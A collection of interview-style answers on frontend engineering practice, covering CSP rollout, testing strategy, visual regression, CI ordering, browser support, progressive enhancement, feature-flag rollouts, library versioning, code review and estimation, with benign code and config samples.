CSP is a second line of defence against XSS. It tells the browser which sources may supply scripts, styles, frames and network connections, so an injected <script> or a fetch() to an attacker's host gets blocked even though the injection itself succeeded. It buys containment, not prevention: it does nothing about server-side injection, and nothing about a DOM sink like innerHTML unless you also turn on Trusted Types.

The rollout is report-only first, fix what the reports show, then enforce. What breaks sites is almost always inline script, not the directives you'd expect.

How it actually blocks

script-src is the directive that matters, and there are two mechanisms worth knowing:

  • Nonce. The server generates a fresh 128-bit random value per response, base64-encodes it, puts it in the header and on each legitimate <script nonce="...">. In CSP2+ browsers the presence of a nonce makes 'unsafe-inline' ignored, so inline handlers and injected scripts die.
  • 'strict-dynamic' (CSP3; Chrome 52+, Firefox 52+, Safari 15.4+). Once a nonce'd script runs, scripts it creates via document.createElement('script') are trusted too. That is what lets you drop host allowlists, which is the point, because allowlists are routinely bypassed through JSONP endpoints and open redirects on hosts you allowed.
Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-rAnd0m...' 'strict-dynamic' https: 'unsafe-inline';
  object-src 'none';
  base-uri 'none';
  frame-ancestors 'none';
  report-uri /csp-report

https: and 'unsafe-inline' are the fallback for browsers without strict-dynamic; CSP3 browsers ignore both. object-src 'none' and base-uri 'none' close the plugin and <base> hijack paths.

Rollout

StageGate to passTypical duration
Content-Security-Policy-Report-Only on 100%violation rate flat, every distinct blocked-uri triaged1–2 weeks
Enforce on 1% (header set at the edge, keyed on a cookie)JS error rate unchanged vs. control2–3 days
Enforce 100%——

Keep reporting on after enforcement. The reports are how you find the page you forgot.

What actually breaks

  • Inline script and onclick= attributes. Nonce-based CSP kills them. This is usually the bulk of the work.
  • Cached HTML carrying a nonce. If a shared cache serves one nonce to many users, the nonce is no longer secret and an injected script can reuse it. Either don't cache nonce'd HTML, or mint the nonce per response at the edge.
  • Report-only blind spots. Reports only cover code paths real traffic hit. A payment SDK loaded for one card issuer, or a script behind an A/B flag, shows zero violations and then breaks at 3am. Force the paths you care about in staging with the policy enforced.
  • Noise you can't fix. Extensions and TLS-terminating proxies that inject scripts into the page produce violations that never go away. Filter by blocked-uri and source-file before treating the report as a to-do list.
  • connect-src is the exfiltration control. If you allow a CDN or analytics host, an attacker can exfiltrate through it. Tighten to the endpoints you actually call.

What it doesn't buy

CSP doesn't stop DOM XSS through innerHTML, eval inside already-trusted code, or server-side template injection. require-trusted-types-for 'script' (Chrome 83+) closes the DOM-sink class, but it's Chromium-only, so treat it as defence in depth rather than a replacement. And a policy is only as strong as its weakest allowed origin: one wildcard CDN undoes the whole thing.

Curated: · Written: · Reviewed:

Q&A-88How would you split unit, integration, and end-to-end tests for a frontend?

The split follows cost per unit of confidence, not a fixed ratio. Unit tests cover pure functions and reducers; component tests cover every screen and its states; a small set of end-to-end tests covers the flows that lose money when they break. By count that lands near half unit, most of the rest component, a few percent E2E. By pipeline time it inverts, because one E2E test costs roughly 20x a component test.

Component tests carry the weight because they render the real component tree with real state and real event handling, in Node under jsdom, with no browser and no network. That catches the wiring bugs unit tests miss: a renamed prop, a conditional that hides the submit button, a form that never enables: at about 0.7 s per test instead of 13 s. What they cannot catch is anything that only exists in a browser: real layout, focus order, third-party script interference, and the actual HTTP contract with the backend. That residue is what E2E is for.

A suite I inherited had the ratio backwards:

LayerBeforeAfterBefore runtimeAfter runtime
unit12030040 s40 s
component3026045 s3 min
E2E2402252 min6 min
total390582~54 min~10 min

240 E2E tests at 52 minutes is 13 s each; pruning to 22 money-path flows brings the same coverage of revenue-critical behaviour down to 6 minutes. About 30% of red builds before the change were unrelated to the commit under test; after, under 2%. Those are one team's numbers, not a benchmark: measure your own before quoting them.

A component test that earns its place queries the way a user does:

// React 18, @testing-library/react 14, Vitest
test('valid promo code shows the discount and enables pay', async () => {
  const user = userEvent.setup();
  render(<Checkout cart={[{ sku: 'A1', price: 4000 }]} />);

  await user.type(screen.getByLabelText(/promo code/i), 'SAVE10');
  await user.click(screen.getByRole('button', { name: /apply/i }));

  expect(await screen.findByText('-$4.00')).toBeInTheDocument();
  expect(screen.getByRole('button', { name: /pay/i })).toBeEnabled();
});

No mock of the promo hook, no assertion on internal state. If you can delete the mock and the test still passes, it was testing the mock.

Three failure modes are worth naming explicitly. E2E flake comes from shared test data and unawaited network; detect it by rerunning failures against main, since a test that passes on rerun is flake, and quarantine after two unrelated failures in a week rather than adding a retry that hides the signal. Component tests that mock the API layer heavily end up asserting on the mock's return value; detect that with mutation testing: flip a condition in the component and see whether anything goes red. Snapshot tests pass on any change and fail on none; count them, because they are usually the largest block of tests that never caught a bug.

Some things should not be pushed down to component tests: payment iframes, focus traps, drag-and-drop, and anything whose bug is visual. Those need a real browser, E2E or visual regression, and jsdom will not substitute.

Curated: · Written: · Reviewed:

Q&A-89How do you catch unintended visual changes without a wall of false positives?

Core answer (first 90 seconds). Snapshot components, not pages. Render them in one pinned environment. Allow a small, chosen pixel tolerance. Make every accepted change a reviewed commit. Then prove the suite is quiet: run it twice on unchanged code and require zero diffs. A visual check that fires on unchanged code gets disabled within weeks, so quietness is the feature.

Why full-page, cross-machine comparison fails. A screenshot diff has no idea what you changed. Font rasterization, GPU anti-aliasing, scrollbar rendering, viewport size, lazy-loaded images and timestamps all produce pixel differences unrelated to your commit. Comparing full pages across two machines mixes all of them into one signal.

Pin each source:

Noise sourceFix
Font rasterization / driver AAone container image (the vendor's pinned Playwright image) for CI and local
Webfont swap-inbundle fonts locally, await document.fonts.ready before capture
Animation, caretanimations: 'disabled', caret: 'hide'
Clock, datesfixed clock
Viewport, DPRfixed viewport, deviceScaleFactor: 1
Genuinely dynamic regionsmask the smallest element, and count the masks
// playwright.config.ts — Playwright 1.4x
export default defineConfig({
  expect: {
    toHaveScreenshot: {
      maxDiffPixelRatio: 0.01, // 1% of the component's pixels
      threshold: 0.2,          // per-pixel YIQ distance before a pixel counts
      animations: 'disabled',
      caret: 'hide',
    },
  },
  use: { viewport: { width: 1280, height: 720 }, deviceScaleFactor: 1 },
});
test('pricing card', async ({ page }) => {
  await page.clock.setFixedTime(new Date('2024-01-01T00:00:00Z')); // Playwright 1.45+
  await page.goto('/pricing-card');
  await page.evaluate(() => document.fonts.ready);
  await expect(page.getByTestId('pricing-card')).toHaveScreenshot();
});

First run writes the baseline PNG and fails the test; later runs compare against it. --update-snapshots rewrites it.

Pick the tolerance from arithmetic, not taste. A 320×240 card is 76,800 px. A 1px border colour change touches 2×320 + 2×240 − 4 = 1,116 px. At maxDiffPixelRatio: 0.01 the budget is 768 px, so the change fails: correct. At 0.02 the budget is 1,536 px and the same regression passes. Set the ratio from the smallest regression you care about.

The per-pixel threshold is a second, independent hole: at 0.2, a #ffffff → #fefefe shift is under the YIQ distance and never counts, even across the whole card. For tokens you actually care about, assert the computed style directly: getComputedStyle(el).backgroundColor is exact and costs nothing.

Failure modes and how you catch them.

  • Blind --update-snapshots. The baseline becomes whatever the buggy build rendered, and the check now enforces the bug. Catch it by requiring the changed PNGs in the PR diff and putting __screenshots__ under CODEOWNERS.
  • Over-masking. Every masked region is a hole where a real regression is invisible. Keep masks to the smallest element and count them in review.
  • Flake. Run the suite twice on unchanged code; anything but zero diffs means the environment isn't pinned yet.

When not to use it. If the failure you fear is structural (element missing, wrong text, wrong order) a DOM or accessibility-tree assertion is exact, fast and never flaky. If the renderer is genuinely non-deterministic (canvas, WebGL, third-party embeds), visual diffing will never be quiet; assert on the data feeding the renderer instead. Hosted diff services add a review UI and cross-browser rendering, but they don't remove the need for pinned fonts and a human accepting each change.

Curated: · Written: · Reviewed:

Q&A-90What should run in continuous integration for a frontend project, and in what order?

Order the stages so the cheapest check that can catch a failure runs first, and so a type error surfaces in under a minute. For a TypeScript/React app on GitHub Actions with Node 20, that is: type check and lint → unit and component tests → production build with a bundle-size budget → end-to-end tests against a preview deployment.

Assumptions: this is the pull-request pipeline, not main; one app with a committed lockfile; Playwright for e2e against a preview URL.

Each stage costs roughly an order of magnitude more than the one before it and catches a narrower class of failure. tsc --noEmit finds type errors in 20–60 s. Vitest finds logic and render bugs in 30–90 s. A production build finds bundling and budget regressions in 1–3 min. Playwright finds integration bugs in 3–10 min and is the flakiest stage. Put the expensive stage first and every cheap failure pays its latency.

StageWall timeCatchesGate on merge
tsc --noEmit, ESLint20–60 stype errors, import cyclesyes
Vitest unit + component30–90 slogic, hooks, renderyes
vite build + size-limit1–3 minbundling, budget regressionsyes
Playwright vs preview3–10 minrouting, auth, integrationyes, sharded

The ordering is expressed with needs:, which serializes; fan out where you can.

jobs:
  static:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: 20, cache: npm }
      - run: npm ci
      - run: npx tsc --noEmit
      - run: npx eslint . --max-warnings=0
  unit:
    needs: static
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: 20, cache: npm }
      - run: npm ci
      - run: npx vitest run
  build:
    needs: static
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: 20, cache: npm }
      - run: npm ci
      - run: npx vite build
      - run: npx size-limit
  e2e:
    needs: build
    runs-on: ubuntu-latest
    strategy:
      matrix: { shard: [1, 2, 3, 4] }
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: 20, cache: npm }
      - run: npm ci
      - run: npx playwright test --shard=${{ matrix.shard }}/4

unit and build both need only static, so they run in parallel; e2e waits for the build artifact. Serializing everything saves runner minutes but adds wall-clock; on a small team wall-clock wins. Add concurrency: { group: ci-${{ github.ref }}, cancel-in-progress: true } so a superseded push stops burning runners.

Trade-offs and failure modes:

  • Flaky e2e is the main reason teams abandon the pipeline. Track pass rate over the last 100 runs; quarantine anything below ~99% to a nightly job with a linked issue rather than adding blanket retries, which hide real failures.
  • Cache poisoning: key node_modules and build caches on the lockfile hash, and never cache build output that depends on environment variables. A stale dist produces green runs that fail in production.
  • Preview race: the e2e job can start before the preview URL is live. Trigger on deployment_status or poll the URL until it returns 200.
  • Bundle budget: set the threshold from the current baseline plus a small margin, not an aspirational number, or the check fails on day one and gets disabled.
  • Run e2e against the built artifact, not the dev server; dev has different module resolution and no minification, so it passes tests production would fail.

Arithmetic for the ordering: if e2e runs first and takes 8 min, a type error costs 8 min of time-to-first-failure. Static first makes it 40 s. At 20 PRs a day, that is roughly 160 min of runner time spent before the first failure versus about 13 min, and the merge queue stays short instead of backing up.

Measure time-to-first-failure per failure class (type error, failing unit test, broken flow) rather than total pipeline duration; if e2e p95 exceeds ~10 min, shard it further or move it to a merge-queue job.

Curated: · Written: · Reviewed:

Q&A-87How do you decide what to test manually across browsers and devices?

The 90-second answer

I don't test "all browsers." I test the intersection of three things: who actually uses the product, which paths carry money or compliance risk, and which engine differences can actually break those paths. Everything else gets smoke-tested or left to synthetic monitoring.

Assumptions I'd state up front: we have RUM or analytics segmented by browser and device class, we have a written support policy (which versions we claim to support), and we know which flows are revenue- or safety-critical.

Why engines differ: the mechanism behind the ranking

Cross-browser bugs aren't random. They cluster in four places:

  • Layout: Blink, WebKit and Gecko disagree on flex/grid edge cases, position: sticky inside scroll containers, and sub-pixel rounding. These surface as visual regressions, not exceptions, so error monitoring never sees them.
  • Input: touch vs pointer events, the virtual keyboard resizing the viewport, IME composition, and native form controls (date, select) that are OS widgets rather than DOM. A desktop date widget and an iOS wheel picker commit their value on different events, so validation that runs on the wrong event sees an empty field.
  • Media: codec support, autoplay policy (iOS blocks autoplay with sound until a user gesture), and DRM.
  • Platform policy: on iOS every browser shipped WebKit until iOS 17.4 opened alternative engines in the EU, so "Chrome on iOS" is not Chrome's engine.

That's why the matrix is engine-distinct, not brand-distinct: one Chromium, one WebKit, one Gecko covers most rendering risk, and adding a fourth Chromium buys almost nothing.

Deciding criteria

A browser/device class earns a manual slot if it clears any of: more than ~2% of sessions, carries a revenue or compliance path, sits inside the support window, or is the only representative of an engine. It drops out when share stays below the threshold for two consecutive quarters, the vendor ends support, or automation fully covers the flow.

Illustrative figures:

ClassShareEngineRevenue pathIn matrixWhy
Chrome desktop41%Blinkyesyeslargest, checkout
Safari iOS38%WebKityesyesonly WebKit, native input
Firefox6%Geckonoyesonly Gecko
Low-end Android9%Blinkyesyesmemory and perf
Legacy Edge0.3%Blinknosmokebelow threshold

Scoring it: risk = share × revenue weight × engine-uniqueness. Safari iOS = 0.38 × 1.0 × 1.0 = 0.38. Legacy Edge = 0.003 × 0.2 × 0 = 0. Anything under 0.02 goes to smoke only.

What I automate vs. do by hand

Automate rendering regressions with visual diffing across the three engines in CI. Do by hand: layout at real viewport sizes, input and gesture, media playback, and native form controls. Those are OS widgets, and emulators lie about them.

Failure mode and detection

The failure I've seen: a date picker passed on every desktop browser the team had and failed on iOS Safari, which was 38% of traffic; a week of bookings were entered by hand. Detection is RUM segmented by browser and device class plus error-rate alerts per user agent, not "it worked on my machine."

How I'd know it's settled

Session share per browser and device class, a matrix covering the top of that list, and a named owner for each manual slot. Without that, it isn't settled.

Curated: · Written: · Reviewed:

Q&A-85How do you decide which browsers to support and what to compile to?

The 90-second answer. Browser support is a business decision that gets expressed as a build config, so I start with two questions: what does session analytics say people actually run, and what does the business owe anyone. Then I set one explicit browserslist query, compile to it, and re-check quarterly. For a consumer product the default is evergreen plus the last two versions of anything with real share: legacy support is opt-in and paid for by a named reason.

Assumptions I'd state out loud: I have session-level analytics, not just CDN user-agent counts, and no contract names a browser version.

Deciding criteria, in order

  1. Contractual or regulatory obligation. An enterprise contract naming IE11 or a specific Safari version ends the discussion: you support it, and the cost becomes a line item.
  2. Revenue concentration. If 0.4% of sessions carry 12% of revenue (a hospital intranet on an old Edge build, say), share of sessions is the wrong metric; weight by revenue or conversion.
  3. Share of sessions, with a floor. Below roughly 0.1% and falling, the maintenance cost of a legacy build usually exceeds the value.
  4. Cost imposed on the majority. Every byte added for the tail is paid by everyone on the modern path.

Mechanism. browserslist is the single source of truth: Babel, autoprefixer, esbuild and swc all read it. The defaults are > 0.5%, last 2 versions, Firefox ESR, not dead. npx browserslist prints the resolved list, so you can see what a query actually means before it ships.

Two ways to serve the tail:

  • Single build targeting the oldest supported browser. One artefact, simple, everyone pays.
  • Differential serving: a modern bundle via <script type="module"> and a legacy bundle via nomodule, so modern browsers skip the legacy file. Watch the Safari 10.1 bug: it supported modules but still executed nomodule scripts, downloading both; fixed in Safari 11.

Worked example (hypothetical figures). Analytics over 30 days, 4.1M sessions:

GroupSessionsShareBundle
Evergreen (last 2 versions)3.99M97.4%210 KB
Older but supported102K2.5%210 KB
Legacy target4.1K0.1%272 KB

Single legacy build: all 4.1M sessions download 272 KB, so 62 KB × 4.1M ≈ 254 GB of extra transfer a month plus slower parse on the modern path. Differential serving: modern sessions stay at 210 KB, legacy sessions get 272 KB. Dropping legacy: everyone at 210 KB, and you lose 4.1K sessions a month.

So the decision reduces to whether 4.1K sessions a month is worth the extra build config and polyfill maintenance. At a 2% conversion rate and a $40 average order that is ~82 orders, ~$3,300 a month. Yes means differential serving; no means drop it and revisit when the number moves.

Failure modes

  • A target list nobody owns. Someone adds IE11 for one customer in 2019 and it is still there in 2026. Detect it by running npx browserslist in CI and failing the build when the resolved list changes without a review.
  • Polyfills shipped to everyone. useBuiltIns: 'usage' with core-js@3 injects only what the target list needs; 'entry' injects the whole set. Detect it with a bundle-size budget in CI.
  • Analytics blind spot. Ad blockers and bots skew the mix, so compare against server-side logs before trusting a 0.1% figure.

Curated: · Written: · Reviewed:

Q&A-91Should a page work without JavaScript in 2026?

Short answer: no. The core task should not depend on a script bundle loading. But "works without JavaScript" is a spectrum, not a checkbox, and the useful answer says where the line sits.

Assume a public-facing page: content, a signup or checkout form, navigation. For those, the server should return markup that already contains the content, real links for navigation, and a form that submits with a plain POST. Everything after that is enhancement.

Why it matters: scripts fail for reasons unrelated to the user's browser settings. A third-party tag blocks the bundle, a CDN edge serves a truncated file, one syntax error kills the module graph, a corporate proxy strips it. When the bundle is the only thing that renders the page, every one of those becomes a blank screen.

The cheapest version of this is a form that works twice:

<form action="/signup" method="post">
  <label for="email">Email</label>
  <input id="email" name="email" type="email" required>
  <button type="submit">Create account</button>
</form>
<script type="module" src="/signup.js"></script>

Without the script, the browser does a normal POST and the server returns a full page. With it, /signup.js intercepts submit, validates inline, and posts with fetch. The server validates either way: the client check is a convenience, never the gate.

That last sentence is the cost. You now maintain validation in two places, and they drift. The trade honestly:

ApproachCore task with JS offWhat it costs
Server-rendered + real form POSTworksfull page reload per step; validation duplicated; more server CPU per interaction
Server-rendered + hydrationfirst paint works, interactions don'ttwo render paths to keep in sync; hydration mismatches
Client-renderedblank pageneeds an explicit loading and error state, and still fails when the bundle never arrives

Client-rendering is the right call in some places: an authenticated editor, a dashboard, a canvas tool. Surfaces behind a login where the interactivity is the product and there is no meaningful content to index. Even there, render a server-side shell so a failed bundle shows an error with a retry, not white space.

The failure to watch for is the blank page. Illustrative trace, numbers made up: a signup form mounted only after a 180 KB bundle loaded; on flaky mobile networks the bundle failed for about 1.3% of sessions, and each of those users saw an empty page with no way to proceed. The figure is invented, the shape is not.

Detect it rather than assume it. A RUM counter for page loads where the mount callback never fires, a synthetic check that loads the main flows with scripting disabled in CI, and an alert on script-load error rate. If mount-never-fires is above noise, the page is script-dependent whether you meant it to be or not.

Curated: · Written: · Reviewed:

Q&A-84How would you ship a risky frontend change safely?

Assume a web app you deploy yourself, with per-user metrics and a way to route traffic. The safe path: ship the code dark behind a flag, expose it to a small sticky cohort, compare treatment against control on error rate and the primary interaction metric, widen in steps, then delete the flag and the dead branch.

A flag separates deploying code from enabling behaviour. That buys three things a plain deploy does not: a small blast radius, a control group to measure against, and a switch back that is a config change rather than a redeploy. The cost is a permanent branch in the codebase and a flag evaluation on the request path, both of which have to be paid off once the decision is made.

Sticky bucketing is what makes the comparison valid. Bucket the user once, by a stable id, and keep them in that bucket for the session:

// checked against Node 20 and current evergreen browsers
const bucket = hash(user.id) % 100;          // stable per user
const inTreatment = bucket < rolloutPercent; // rolloutPercent from remote config

A user who flips between variants mid-session corrupts both the metric and their own state, so the hash must be on a stable id, not a random draw per request.

Alternatives, and when each wins:

  • Canary deploy. Route 1–5% of traffic to a new build, compare, promote or roll back. This is the right tool when the change cannot be toggled at runtime: a dependency bump, a bundler or CSS-framework swap, anything that alters the build output. Cost: you run two builds, and rollback is a redeploy (seconds to minutes), not a config flip.
  • Feature flag. One build, runtime toggle, sub-second rollback. Right tool for behaviour changes inside a stable build. Cost: the branch and the flag debt above.
  • Big-bang with fast rollback. Acceptable when the change is small and reverting is one command with no data migration. Not acceptable when the change writes data in a new shape, because a rollback does not un-write rows.

A flag is the wrong tool for build-level changes (nothing to toggle), for changes that alter persisted data shape, and for one-line fixes where the flag is more code than the fix.

Failure modes worth naming:

  • Flag debt. Branches never removed. Detect with a CI lint that fails on flags older than a fixed age.
  • Non-sticky bucketing. Users see both variants; the metric is noise. Detect by logging the variant per session and alerting on users with more than one.
  • Config fetch failure. Default to control, never to treatment. Fail closed.

A staged rollout, with the decision rule stated up front:

StageCohortError rateDecision rule
control95%0.4%baseline
stage 15%0.5%expand if within noise of control
stage 250%0.4%expand if primary metric holds

Before each expansion, compare error rate and the primary metric between the two groups. If either regresses beyond the pre-agreed threshold, flip the flag off and investigate.

The reason to insist on the control group: a checkout rewrite shipped to every user at once raised the error rate from 0.4% to 6% and needed a 40-minute rollback deploy while sales were lost. A 5% cohort would have caught that at 5% of the damage, and a flag would have made the rollback a config change.

Curated: · Written: · Reviewed:

Q&A-86You maintain a shared component library used by four applications. How do you ship a breaking change?

The first thing to settle is whether the change is breaking at all. A new optional prop, a new variant, a fix to a case that was already wrong: none of those need a major. A renamed prop, a changed default, a removed export, or a DOM change that consumer CSS and tests depend on: those do. Assume it is breaking, and that you own the library but not the four apps' release schedules.

Three ways to ship it, and the one I default to:

ApproachFits whenWhat it costs
Dual API + deprecation window, then majorConsumers deploy independently; you can't coordinate a big-bang upgradeYou carry two code paths for the window; the old path needs tests too
Lockstep / monorepoYou own all four apps and one release trainEvery app release waits on the library; no independent deploys
Evergreen single versionInternal-only, all consumers track main, CI catches breaksAny break hits all four at once; no per-app rollback
Immediate major, no windowOne or two consumers you control, or the old API is a correctness or security hazardMigration lands as one large PR; fine at small scale, painful at four

The deprecation window is not worth it when the old API is actively harmful: say it silently drops focus, or it lets consumers pass a value that renders an inaccessible control. Then the cost of leaving it in for two months exceeds the cost of a coordinated upgrade, and you ship the major and update the consumers in the same week. Same call if only one app consumes the component.

For the dual-API path, the mechanics are small. TypeScript 5.x, React 18:

// 3.4.0 — old prop still works, new one preferred
export interface ButtonProps {
  /** @deprecated since 3.4.0, removed in 4.0.0 — use `variant` */
  kind?: 'primary' | 'secondary';
  variant?: 'primary' | 'secondary';
}

export function Button({ kind, variant }: ButtonProps) {
  if (kind !== undefined && variant === undefined) {
    console.warn(
      '[ui] Button "kind" is deprecated and will be removed in 4.0.0. Use "variant".'
    );
    variant = kind;
  }
  // render with variant
}

Trace it: a consumer on 3.4.0 passing kind="primary" and no variant hits the branch, logs once, and renders as before. A consumer passing variant skips it. On 4.0.0 kind is gone from the type, so the same call site fails tsc, which is the point: the break is loud at compile time, not silent at runtime.

The release timeline:

ReleaseContainsConsumer action
3.4.0 (minor)variant added; kind deprecated in types and runtimenone
3.4.x–3.6.x (~2 months)same; codemod publishedrun codemod, migrate
4.0.0 (major)kind removedupgrade deliberately

Two things make the window real rather than decorative. The codemod handles the mechanical renames so migration is a PR, not a project. And a nightly job installs the published version into each of the four apps and runs their test suites, so a break surfaces in your CI before a consumer hits it on their next install. That job is what catches the failure I've seen: a prop rename shipped in a patch, three of four apps broke on their next install, and the fix cost a day across those teams. A patch release is not a place for a behaviour change, and the nightly install is how you find out you did it anyway.

Curated: · Written: · Reviewed:

Q&A-94What do you look for when reviewing a frontend pull request that touches shared code?

First, pin down what "shared" means, because it sets the review depth. A component imported by one route is a normal PR; a design-system primitive, a context provider, a fetch wrapper, or anything under shared/ is a different review. Ask the author for the consumer list before reading the diff, grep -r "from '.*/Button'" src or the IDE's find-usages, and size the review to that number.

Then the trade-off: depth against speed. Reading every consumer of a 40-call-site primitive line by line is not worth it; reading none of them is how a keystroke regression ships. The split I use:

Blast radiusReview depthWho does what
New leaf component, one call siteSkim the diff, check props and statesAuthor: screenshot. Reviewer: read the code.
Shared component, under 10 call sitesConfirm each call site still compiles and rendersAuthor: list call sites. Reviewer: spot-check the two highest-traffic.
Design-system primitive, provider, or fetch wrapperFull consumer audit plus preview deployAuthor: preview link, states exercised. Reviewer: verify keyboard path and one real consumer.
Purely additive prop with a default, no existing call site changedA lighter check is enoughAuthor: note the default. Reviewer: confirm no call site passes it yet.

That last row matters: if the change cannot alter existing behaviour, a full audit is wasted effort. Say so rather than performing thoroughness.

What I look for in the diff, in order:

  1. Reference stability. New inline objects, arrays, or arrow functions passed to a memoized child defeat React.memo's shallow compare. This is the one I check first.
const Row = React.memo(function Row({ style, onSelect }) { /* ... */ });

// parent render
<Row style={{ padding: 8 }} onSelect={() => select(id)} />

Trace it: the parent re-renders on a keystroke, { padding: 8 } is a fresh object, React.memo compares props by reference, the compare fails, and every Row re-renders. With 200 rows that is 200 re-renders per keystroke: a hypothetical figure, but the shape is what you are checking for. The fix is hoisting the object or wrapping the handler in useCallback.

  1. Missing states. New loading, empty, and error branches. A shared component that only handles the happy path breaks every consumer that renders it before data arrives.

  2. New blocking work on first paint: synchronous fetches, large imports pulled into the shared chunk, layout-thrashing reads.

  3. Accessibility of new controls: focus order, keyboard activation, labels. A shared control regresses once and regresses everywhere.

  4. Consumer-visible API changes: renamed props, changed defaults, removed exports. These need a migration, not a review comment.

The failure mode to name: a shared table change that looked correct on the author's screen and re-rendered four other pages on every keystroke, found by users. Detection is a preview deploy plus the React Profiler on the highest-traffic consumer, not a code read.

So the ask back to the author is specific: the consumer list, a preview link, and the states exercised. The reviewer's job is the highest-traffic consumer and the keyboard path: the two things a screenshot cannot prove.

Curated: · Written: · Reviewed:

Q&A-93How do you estimate a frontend feature?

What I'd say first

Before giving a number I'd ask what it's for. A sprint commitment, a roadmap ballpark, and a go/no-go on a design want different methods, and picking the wrong one is why frontend estimates get distrusted.

For a sprint commitment I decompose by state and integration surface, estimate each piece, add the review-and-fix cycle, and hand back a range with the largest unknown named. For a roadmap ballpark I'd use reference-class forecasting, what the last three features touching this area actually took, because at that distance the decomposition is false precision.

The decomposition

Frontend estimates go wrong because the visible layout is a fraction of the work. States, edge cases, accessibility, and cross-browser behaviour are the rest. So I list: the states (loading, empty, error, partial, permission-denied), responsive and RTL behaviour, accessibility and keyboard, tests, and the integration with real data. I estimate each, add the review and fix cycle, and give a range.

Alternatives and when each fits

MethodFits whenBreaks when
State decomposition (above)one feature, sprint-scale, scope is the unknownthe unknown is feasibility, not scope
Spike (timeboxed investigation)you can't estimate because you don't know if the API or component can do ityou already know it can; the spike just burns the box
T-shirt sizingmany items, relative ordering, precision not needed yetsomeone converts the shirt to a date
Planning poker / story pointsthe team has velocity history to calibrate againstno history, or points silently become days
Reference-class forecastingyou have past similar featuresgenuinely novel surface
Three-point (best/likely/worst)worst case is bounded and nameableworst case is "we discover the design is wrong"
Paddingnever as the primary methodalways: it hides which part is uncertain

The rule I use: if the largest unknown is scope, give a range. If it's feasibility, spend a spike first and estimate after. Padding is what you do when you can't name the unknown, and it's the signal that you should spike instead.

A worked failure

A screen estimated at 2 days from the mockup took 9, because the mockup covered 1 of 6 states and the shared table component needed a change.

PartEstimatedActual
happy-path layout2 d2 d
loading, empty, error states02 d
accessibility and keyboard01 d
shared component change02 d
tests and review02 d

The estimate wasn't wrong by 7 days of bad luck; it was wrong because four categories were estimated at zero. Naming them is the whole method.

Failure modes

  • A single number with no range: detected when the first question in review is "what's the risk here" and there's no answer.
  • Points converted to days: detected when velocity is multiplied by a day-rate.
  • The unknown never named: detected when the estimate slips and no one predicted which part would slip.
  • No calibration: detected when you can't say which category you underestimated last quarter.

Closing the loop

I'd compare estimate against actual afterwards and record which category was underestimated. After three features that record is worth more than any estimation technique.

Estimate the states, not the mockup.

Curated: · Written: · Reviewed:

Q&A-92How do you handle a design that cannot be built as specified?

"How do you handle a design that cannot be built as specified?" has two readings, and the answer differs enough that I would clarify before answering. If "design" means a product or UI spec, the conflict is almost always an edge case the design did not cover (long text, empty states, error states, narrow viewports) rather than an impossible visual. If "design" means a system architecture, the conflict is a constraint the design violates: a latency budget the chosen datastore cannot meet, or a consistency guarantee the chosen replication strategy cannot provide. I will take the UI reading as primary, since that is where most of these conflicts land, and return to the architecture case at the end.

For the UI case the default move is to build the design at real content extremes early, bring the designer the specific failing case rather than an objection, and agree a rule for it. "The title overflows" is an objection; "here is the card with an 11-line title, the actions are pushed below the fold: do we clamp to three lines with a tooltip, or let the card grow?" is a decision the designer can make in thirty seconds. The designer owns the visual intent and you own the implementation, and the failing case is the artifact that lets each of you do your job without guessing at the other's.

That is the default, not the only path. Three alternatives, and when each is right:

  • Agree a rule and encode it in the component. Right when the case is reachable with real data and the rule does not change what the user sees. This is the common case.
  • Build as specified and document the assumption. Right only when the case is genuinely unreachable given the data contract (a field the API guarantees is non-empty, a title the CMS caps at 60 characters) and even then the assumption belongs in the component's documentation, not in your head.
  • Escalate to the tech lead or product owner. Right when you and the designer cannot agree, or when the "rule" would change user-visible behavior the product owner owns: dropping content versus truncating it is a product decision, not an implementation detail.

The deciding criteria are how likely the case is given real data, how expensive the fix is, and who owns the user-visible consequence. When the case is likely and cheap to handle, handle it. When it is unlikely and expensive, document the assumption and move on. When it is likely and the fix changes what the user sees, escalate.

The failure mode this avoids is patching the same edge case independently in several components. I have seen a card design that assumed three-line titles; real data reached eleven lines; the layout was patched in four places before anyone asked the designer for a rule. The cost is not the four patches: it is that the rule now lives in four places and drifts.

CaseSpecifiedAgreed rule
11-line titlenoclamp to 3 lines with a tooltip
empty listnoexplanatory empty state
320 px widthnostack the actions

Before calling it settled, render the component with the longest real content and with an empty state and review both with the designer. If the agreed rule survives that review, encode it in the component's documentation so the next engineer does not re-litigate it.

For the architecture reading the move is different. When the design cannot be built as specified because of a hard constraint: the datastore cannot meet the latency budget, the replication strategy cannot provide the consistency guarantee: the answer is to change the design or change the requirement, in writing, not to build something that meets neither. Bring the numbers: "the p99 read is 40 ms against a 10 ms budget, so we either relax the budget or add a cache." Escalation here is not a failure to negotiate; it is the only honest move when the constraint is physical rather than a matter of taste. The same three-way choice applies (negotiate, build-and-document, or escalate) but the deciding criterion is the constraint itself, not the designer's intent. When the constraint is physical, the design changes; when it is a matter of taste, the implementation adapts.

Curated: · Written: · Reviewed:

Q&A-98Tell me about a time you disagreed with a designer or a product manager.

The clearest one was a landing page animation. The PM wanted the hero to feel alive: a scroll-driven sequence where the product screenshots assembled as you scrolled. She'd seen it on a competitor's site and it was the centerpiece of the launch. I was the front-end lead.

My concern wasn't taste, it was weight. The library she'd picked, Lottie plus a JSON export of the sequence, was about 400 KB gzipped before any of the images. Our landing page was already 900 KB. Most of our traffic is mobile, and a big chunk of it is mid-range Android over 4G.

So I didn't argue in the design review. I built both. Two hours: the Lottie version behind a query param, and a CSS transform version using the same keyframes exported as a sprite sheet. Then I ran both through WebPageTest on a throttled Moto G4 profile, five runs each, median.

LottieCSS sprite
transfer1.3 MB940 KB
LCP (median)3.4 s2.3 s
time to interactive5.1 s3.9 s

The animation itself looked nearly identical at the sizes we ship. I brought the numbers and the two builds to her, not a recommendation. She looked at them for about a minute and said keep the CSS one. That was her call: she owned the launch.

